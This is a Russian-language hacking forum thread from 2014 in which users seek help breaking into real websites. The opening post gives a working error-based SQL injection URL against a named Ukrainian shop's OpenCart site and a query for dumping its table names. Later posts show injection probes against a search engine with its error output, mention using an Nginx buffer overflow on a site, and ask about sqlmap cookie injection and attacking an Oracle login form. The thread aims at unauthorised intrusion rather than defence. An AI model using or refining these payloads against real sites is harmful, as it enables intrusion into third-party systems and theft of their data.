
15.01.2014, 18:17
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Сообщение от Unknowhacker
Народ, помогите вывести таблицы..
Код:
http://bigtoys.com.ua/index.php?route=product/category&path=106+or+1+group+by+concat(version(),floor(rand(0)*%202))having+min(0)+or+1
SELECT 1 from information_schema.tables group by concat((SELECT table_name from information_schema.tables limit 0,1),floor(rand(0)*2)) having min(0)
|
|
|

15.01.2014, 18:54
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
В Opencart скуля?
|
|
|

16.01.2014, 00:44
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
С нами:
8469890
Репутация:
0
|
|
Сообщение от Unknowhacker
Народ, помогите вывести таблицы..
Код:
http://bigtoys.com.ua/index.php?route=product/category&path=106+or+1+group+by+concat(version(),floor(rand(0)*%202))having+min(0)+or+1
Там фильтруется нижнее подчеркивание.
|
|
|

16.01.2014, 21:02
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами:
9176038
Репутация:
8
|
|
Сообщение от попугай
В Opencart скуля?
Старая. С бородой уже.
|
|
|

18.01.2014, 16:12
|
|
Познающий
Регистрация: 02.10.2011
Сообщений: 34
С нами:
7690646
Репутация:
0
|
|
В общем заюзал на одном сайте Nginx stack-based buffer overflow
Он выдал вот такую инфу
Как это можно использовать.. Для чего эти байты?
|
|
|

19.01.2014, 00:03
|
|
Новичок
Регистрация: 15.01.2014
Сообщений: 14
С нами:
6486806
Репутация:
0
|
|
HTTP parameter pollution что за уязвимость?
|
|
|

19.01.2014, 01:18
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
С нами:
8469890
Репутация:
0
|
|
Сообщение от sergei1105
HTTP parameter pollution что за уязвимость?
Зайди в гугл, ввел HTTP parameter pollution.
Открой первую вкладку http://raz0r.name/articles/http-parameter-pollution и прочитай.
|
|
|

19.01.2014, 16:31
|
|
Новичок
Регистрация: 09.09.2010
Сообщений: 9
С нами:
8249366
Репутация:
0
|
|
приветствую
понять не могу что за база
на "
SearchEngineException: parsefql: Query Error: line 1:100: unexpected token:
,linguistics=off),boost=1000), not(*.swf), not(*filtertable*), not(*multimedia_layer_library*), not(*.flash.html), not(*.isng.*), not(*tabcontent*), not(*Search_Results*), not(*medialibrary*), not(*.ngrb.*), not(*media_library*), not(*.pid.*), not(*.redirect.*),filter(and(language:
")ORDER BY 1
SearchEngineException: parsefql: Query Error: line 1:100: unexpected token: ORDER
")and(select null)
SearchEngineException: parsefql: Query Error: line 1:111: unexpected token: null
хелп..
|
|
|

19.01.2014, 23:35
|
|
Постоянный
Регистрация: 22.11.2010
Сообщений: 545
С нами:
8142806
Репутация:
324
|
|
Посоветуйте пожалуйста нормальный гуи для sqlmap
Особенно важна поддержка иньекций в куках
|
|
|

20.01.2014, 15:29
|
|
Новичок
Регистрация: 01.09.2012
Сообщений: 28
С нами:
7208246
Репутация:
0
|
|
Подскажите пример реализации
https://www.site.com/login
POST
PARAM: firstN=&lastN=
DB: ORACLE
c чего начать?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|